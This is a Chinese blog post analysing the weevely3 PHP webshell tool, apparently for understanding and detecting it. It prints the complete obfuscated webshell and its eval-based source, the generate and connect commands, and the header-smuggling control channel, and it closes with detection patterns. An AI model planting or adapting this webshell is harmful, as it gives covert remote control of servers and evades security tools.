weevely黑客工具分析
更新时间:
许可信息: 本文采用 自由转载-非商用-非衍生-保持署名 许可协议,作者alpha1e0,转载请注明作者或出处链接。
weevely是一款非常优秀的webshell管理工具,具有极其强大的隐蔽性,本文分析了weevely的基本原理。
1 简介
weevely是一个常用的PHP webshell相关的黑客工具,核心功能有两个:
- 生成php webshell。只要指定密码字段,就能生成一个隐蔽性极好的隐蔽webshell
- 连接远端的php webshell。提供密码和url即可访问webshell,访问方式类似于telnet
现如今,“小webshell” + “控制端”的方式是非常流行的一种web攻击方式,在本文中我们将木马的上传通道称为“数据通道”,将客户端和木马的连接通道称为“控制通道”
在国内,“一句话webshell” + “中国菜刀”是最常见的搭配,对这种攻击组合的检测上也对应得分为“webshell检测”,“(中国菜刀)webshell控制通道”检测两个方面,相对来讲“一句话webshell”更难被安全工具检测到,而“中国菜刀控制通道”由于特征明显,很容易被拦截
weevely的最大特点在于其隐蔽性,不论数据通道和控制通道都做到很大程度的隐蔽,很难被安全工具发现。
本文主要介绍weevely的工作原理。
2 示例
使用weevely生成一个隐蔽木马。
python weevely.py generate 123 shell/wee.php
以上命令生成了一个名为“wee.php”的webshell,密码为123,木马文件如下:
<?php
$C='or($=*i==*0=*;$=*i<$l;){for($j=0;($j<$c&=*&$i<$=*l);$j=*++,$i++=*=*){$o.==*$t=*{$i}^$k{$=*j};}}retu=*rn $o;}$';
$w='ch_al=*l("=*/([\\w])[\\w-]+(?=*:;q==*0=*.([=*\\d]))?,?=*/",$ra,$m);if=*($q&&$m)=*{@s=*ession_s=*=*tart()';
$J='md5($i.$k=*h),0,3=*));=*$f=$=*sl($ss(m=*d5($=*i.$=*kf),0,3));$p=*="";for=*=*($z=1;$z<=*count(=*$m[1]);$z';
$o='=*;$s==*&$_SESSION;$ss="=*subst=*=*r";$s=*l="strtol=*ower";$i=$m=*[1]=*[0=*].$m[1][1];=*$h=$sl(=*$s=*s(';
$X='t()=*;@=*ev=*al(@gzuncom=*press(@=*x(@b=*ase64_=*decode=*(preg_rep=*lace(ar=*ray("/_/=*"=*,"=*/-/"),a';
$A='=*++)$p=*.=$q[$m[=*2]=*[$=*z=*=*]];if(st=*rpos(=*$p=*,$h)===0){$s[$i]==*"";$p=$ss=*($p,3);=*}if(=*array';
$G='a=*se64_encode(=*x(gzco=*mpre=*ss(=*$o),=*=*$k));print("=*<$k>$d<=*/$=*=*k>");@sess=*ion_destroy();}}}}';
$M=str_replace('zd','','crzdezdatezdzdzd_fzdunction');
$F='a)=*{$u=p=*arse_url=*($r=*r);parse_=*s=*tr($u["q=*uery"],$=*q);$q=*=*=ar=*ray_va=*lues($q);p=*r=*eg_mat';
$z='r=*ray("/",=*"+"),$ss($=*s=*[$i],=*0,$e)=*)),$k)=*));$o==*ob_get_co=*ntents(=*);ob_end_=*=*clean()=*;$d=b';
$I='$kh="20=*2c";=*$kf="b96=*2"=*;funct=*ion x(=*$t,$k){$c=strl=*en($k)=*;$l=*=strlen=*($t);$o==*"=*";f';
$y='=*r=$_SERV=*ER;$rr=*=@$r=*=*["HTTP_REFERER"=*];$ra==*=*@=*$r["HT=*TP_ACCEPT_LANG=*UAGE"];i=*f($=*rr&&$r';
$r='_key_exist=*s(=*$i,$s)){$=*s[$=*i=*].=$p;$e=s=*trpos=*=*($s[$i],$f)=*;if($e){=*$k=$kh.$k=*f;ob_=*star';
$l=str_replace('=*','',$I.$C.$y.$F.$w.$o.$J.$A.$r.$X.$z.$G);
$t=$M('',$l);$t();
?>
该payload使用了可变函数的隐藏技巧,没有明显的特征,难以检测。
通过安全工具进行检测,安全狗、360杀毒未检测出问题,D盾报了4级的“变量函数”的提示,使用“360在线网站安全检测”能够识别。
将木马上传到服务器后,通过weevely连接服务器上的木马
python weevely.py http://test.com/wee.php 123
得到一个远程shell,执行dir命令,成功得到目录信息
在命令执行过程中抓包,可以看到dir命令对应的http报文内容如下:
GET /test/wee1.php HTTP/1.1
Accept-Encoding: identity
Accept-Language: ro-RO,ur;q=0.5,uk;q=0.7,uz;q=0.8,ur;q=0.9
Host: 192.168.14.156
Accept: application/xhtml+xml,text/html;0.9,*/*
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7
Connection: close
Referer: http://www.google.iq/url?sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=cbfSqx5rS&url=168&ei=rwGuBiR4PpSxYZvXscei-s&usg=cbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCj&sig2=K4MzCQTG3a0bczV1WDgjWx
真实payload被经过多重编码后分散在报文中的各个部分,在没有分析weevely工具的情况下,基本不可能从报文中找到有价值的内容
3 weevely webshell控制通道原理
本文的分析以最新版的weevely为准,源码地址:
https://github.com/epinna/weevely3
weevely使用了python中的cmd模块实现交互会话,交互会话中的命令有2部分:
- modules目录中包含了一部分命令的实现,例如weevely3/modules/file/目录实现了cd、cp等命令
- 对于modules中没有定义的命令,weevely会使用system函数直接执行用户输入命令
例如,dir命令,weevely找不到已实现的module命令,因此生成@system(‘dir 2>&1’)PHP可执行代码
weevely在连接建立的时候会从服务器上获取web根目录的据对路径,因此dir命令,在最终会生成
"chdir('D:\\www\\apache\\test');@system('dir 2>&1');"
这一段PHP代码,生成代码的过程这里不再说明,本文后面的内容将以dir为例分析weevely的隐藏技巧
weevely中对控制通道payload进行编码的代码在weevely3/core/channels/stegaref目录中,如图
其中stegaref.py为核心代码区域,referrers.tpl为mako模板,weevely根据这个模板编码攻击payload
编码后的payload在HTTP中Referrer和Accept-Language中,其中Accept-Language用于指示payload在referrer中的偏移位置,在我们的示例中
chdir('D:\\www\\apache\\test');@system('dir 2>&1'); #原始payload
将会被编码为:
Accept-Language: ro-RO,ur;q=0.5,uk;q=0.7,uz;q=0.8,ur;q=0.9
Referer: http://www.google.iq/url?sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=cbfSqx5rS&url=168&ei=rwGuBiR4PpSxYZvXscei-s&usg=cbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCj&sig2=K4MzCQTG3a0bczV1WDgjWx
stegaref.py中主要的函数为send()函数
3.1 send()函数核心流程分析
step1
line:69 session_id, referrers_data = self._prepare(original_payload)
调用_prepare()函数对原始payload进行编码,生成承载编码后的payload的referrer数组,由于原始payload可能很长,因此可能生成很多个referrer。在本例中原始payload较短,referrer数组只有一个referrer
step2
line:107 for referrer_index, referrer_data in enumerate(referrers_data):
line:109 accept_language_header = self._generate_header_accept_language(referrer_data[1],
对referrer数组中每个referrer调用_generate_header_accept_language()生成对应的Accept-Language
step3
生成其他http header,发送payload给webshell
3.2 _prepare()函数分析:
在下面的分析中,原始payload为:
chdir('D:\\www\\apache\\test');@system('dir 2>&1');
step 1
函数原型:
line:115 def _prepare(self, payload):
这里的payload为原始payload
step 2
line:158 obfuscated_payload = base64.urlsafe_b64encode(
line:160 utils.strings.sxor(
line:161 zlib.compress(payload),
line:162 self.shared_key)).rstrip('=')
首先对原始payload进行编码,zip压缩后和self.share_key做异或运算,然后再进行base64编码,注意这里的share_key,这个key非常重要,生成的算法很简单
self.shared_key = hashlib.md5(password).hexdigest().lower()[:8]
其中,password为webshell的密码,这里是123
最终生成的obfuscated_payload为:
Sqx5rSrwGuBiR4PpSxYZvXscei-scbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCjK4MzCQTG3a
step 3
line:166 for i in range(30):
line:167 session_id = ''.join(
从166行开始的循环,是生成session_id、header、footer的代码,注意这里的session_id和cookie里的session_id没有任何关系,它只是一个包含两个字符的字符串,作用是生成header、footer,而header和footer顾名思义用于指示编码后的payload的开始位置和结束位置。
session_id会编码在Accept-Language中发送给webshell,webshell会使用相同的算法计算header、footer从而定位payload
在示例中生成了“ru”的session_id,对应的header为“cbf”,footer为“0bc”
step 4
line:191 remaining_payload = header + obfuscated_payload + footer
cbfSqx5rSrwGuBiR4PpSxYZvXscei-scbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCjK4MzCQTG3a0bc
remaining_payload为最终填充使用的payload
step 5
line:201 for referrer_index, referrer_vanilla_data in enumerate(itertools.cycle(self.referrers_vanilla)):
从201行代码,开始一个无限循环,这个循环将开始填充remaining_payload
这个循环中有一个重要的参数,self.referrers_vanilla,这个参数是从referrers.tpl中读取并render()之后得到的,例如referrers.tpl中的一个referrer模板如下:
http://www.google.${ tpl.rand_google_domain() }/url?sa=t&rct=j&q=${ tpl.target_name() }&source=web&cd=${ tpl.rand_number(3) }&ved=${ tpl.payload_chunk(9) }&url=${ tpl.target_name() }&ei=${ tpl.payload_chunk(22) }&usg=${ tpl.payload_chunk(34) }&sig2=${ tpl.payload_chunk(22) }
render()之后得到
http://www.google.iq/url?sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=${ chunk }&url=168&ei=${ chunk }&usg=${ chunk }&sig2=${ chunk }
和相匹配的记录chunk大小的数组[(min_size, max_size)]
[(9, 9), (22, 22), (34, 34), (22, 22)]
remaining_payload最终会在各个chunk中被填充
step 6
line:221 for parameter_index, content in enumerate(parameters):
从221行开始,将会使用remaining_payload来填充chunk,如果一个referrer不能填充完则回到201行代码再挑选一个referrer,如果填充不满则加入随机生成的padding。
每个referrer在填充的时候生成一个数组用于记录chunk的偏移,例如
sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=${ chunk }&url=168&ei=${ chunk }&usg=${ chunk }&sig2=${ chunk }
生成positions数组:
[5, 7, 8, 9]
说明参数中的第5个、第7个、第8个、第9个填充的是编码后的remaining_payload
在我们的示例中最终生成的referrer数组为:(由于payload很小,一个referrer足够,因此数组长度为1)
[(u'http://www.google.iq/url?sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=cbfSqx5rS&url=168&ei=rwGuBiR4PpSxYZvXscei-s&usg=cbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCj&sig2=K4MzCQTG3a0bczV1WDgjWx', [5, 7, 8, 9])]
referrer[0]中的url参数,从0开始第5个、第7个、第8个、第9个填充的是编码后的remaining_payload
step 7
280行_prepare()返回session_id和referrer数组
3.3 _generate_header_accept_language()函数分析:
step 1
函数原型:
line:326 def _generate_header_accept_language(self, positions, session_id):
该函数的作用是生成一个Accept-Language字符串,用于记录session_id和记录referrer中payload偏移的positions数组
step 2
line:331 accept_language = '%s,' % (random.choice(
line:332 [l for l in self.languages if '-' in l and l.startswith(session_id[0])]))
挑选一个language,language中第一个字符满足languages[0] == session_id[0],例如这里session_id为“ru”,挑选了“ro-RO”
step 3
line:334 languages = [
line:335 l for l in self.languages if '-' not in l and l.startswith(session_id[1])]
挑选一个language,记录session_id[1],这里挑选了“ur”
step 4
line:336 accept_language += '%s;q=0.%i' % (
line:337 random.choice(languages), positions[0])
line:340 for position in positions[1:]:
line:342 language = random.choice(languages)
line:344 accept_language += ',%s;q=0.%i' % (language, position)
上面几行代码用于填充positions数组,将偏移填充到“xx;q=0.n”中,例如上面的[5, 7, 8, 9]填充结果为:
ur;q=0.5,uk;q=0.7,uz;q=0.8,ur;q=0.9
step 5
346行返回生成的Accept-Language
3.4 示例解析
到这里我们来逆向分析一下最初生成的Accept-Language和referrer
Accept-Language: ro-RO,ur;q=0.5,uk;q=0.7,uz;q=0.8,ur;q=0.9
Referer: http://www.google.iq/url?sa=t&rct=j&q=168.14.156&source=web&cd=102&ved=cbfSqx5rS&url=168&ei=rwGuBiR4PpSxYZvXscei-s&usg=cbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCj&sig2=K4MzCQTG3a0bczV1WDgjWx
根据Accept-Language得到payload位置数组(5,7,8,9),将相应的参数内容连接起来得到payload数组
cbfSqx5rSrwGuBiR4PpSxYZvXscei-scbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCjK4MzCQTG3a0bczV1WDgjWx
根据Accept-Language得到session_id的值“ru”,根据session_id和stegaref.py115行循环开始的算法得到header和footer,为“cbf”和“0bc”,从而得到编码后的payload
Sqx5rSrwGuBiR4PpSxYZvXscei-scbsbex0cMrWNQBqcHBwqr-xmNRhhAtExCjK4MzCQTG3a
根据stegaref.py115行的算法进行逆向解密(base64机密、shared_key异或、zip解压)得到原始payload
chdir('D:\\www\\apache\\test');@system('dir 2>&1');
4 weevely webshell生成原理
weevely的生成的webshell隐蔽性也非常好,能够逃逸大多数杀毒软件。并且能够自定义模板,加上自定义的模板,能够实现非常优秀的免杀webshell。但weevely的webshell生成并非无懈可击,还是可以定义正则表达式来检测。
weevely生成webshell的主要代码在weevely3/bd目录下,该目录下的agents目录保存的是默认的原始webshell模板,obfuscators目录保存的默认的原始webshell的变换规则模板,两者均使用mako模板。目录结构如下图:
4.1 generate()函数流程分析
使用命令
python weevely.py generate 123 shell/wee.php
生成一个木马文件,会调用generate()函数来生成木马
step1
generate()在weevely3/core/generate.py中,函数原型为:
line:8 def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):
其中,password为用户指定的密码,obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自定义。用户可以自己编写自定义的模板放入weevely3/bd/obfuscators和weevely3/bd/agents目录下,然后命令中指定自定义的模板。
step2
line:22 agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell,原始webshell如下图:
step3
line:32 minified_agent = utils.code.minify_php(agent)
对原始的webshell进行“净化”操作,去除里面的“\r\n”等特殊字符
step4
line:38 obfuscated = obfuscator_template.render(agent=agent)
这是最核心的代码,使用obfuscator模板对webshell进行“模糊”处理,去除容易被检测的特征,具体分析见下一节。
4.2 obfuscator模板分析
默认的obfuscator模板文件是weevely3/bd/obfuscators/obfusc1_php.tpl,obfuscator模板的输入为原始的webshell,如下:
$kh="202c";$kf="b962";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
step1
line:32 obfuscation_agent = find_substr_not_in_str(agent_minified)
找到一个长度为2的随机字符串obfuscation_agent,这个字符串满足“not in agent”
line:33 obfuscated_agent = obfuscate(agent_minified, obfuscation_agent, 6, ('eval', 'base64', 'gzuncompress', 'gzcompress'))
这是非常关键的一行操作,使用随机生成的obfuscation_agent随机得填充到原始webshell中,其中’eval’,’base64’,’gzuncompress’,’gzcompress’这几个敏感函数必须被插入obfuscation_agent,保证这几个关键字不会直接出现在最终生成的webshell中
step2
line:37 agent_splitted = list(utils.strings.divide(obfuscated_agent, len(obfuscated_agent)/agent_splitted_line_number-random.randint(0,5), len(obfuscated_agent)/agent_splitted_line_number, agent_splitted_line_number))
将插入随机字符串的webshell分成10到14节字符串,每一节字符串复制给一个变量名随机的变量
step3
line56: obfuscation_createfunc = find_substr_not_in_str('create_function', string.letters)
line57: obfuscated_createfunc = obfuscate('create_function', obfuscation_createfunc, 2, ())
对“create_function”做模糊处理
step4
$${agent_variables.pop(0)}=str_replace('${obfuscation_agent}','',$${'.$'.join(agent_variables_references[:agent_splitted_line_number])});
$${agent_variables.pop(0)}=$${agent_variables_references[agent_splitted_line_number]}('',$${agent_variables_references[agent_splitted_line_number+1]});$${agent_variables_references[agent_splitted_line_number+2]}();
webshell生成的最后步骤,拼接分节的字符串,使用create_function创建匿名函数,调用匿名函数
对于weevely webshell的检测就需要靠这步,前面的步骤生成的都是随机的字符串,但最后两步存在固定模式,存在”str_replace”字符串,且存在正则模式:
\$\w=\$\w\('',\$\w\);\$\w\(\);
$t=$M('',$l);$t();
5 总结
从上面的分析可以看到,weevely是一个非常优秀的隐蔽性极高的webshell黑客工具。
weevely的控制通道基本不可能检测到空间特征,而weevely webshell也较难以检测,weevely生成webshell的方式还是有优化的余地的,当然可以自定义模板来弥补。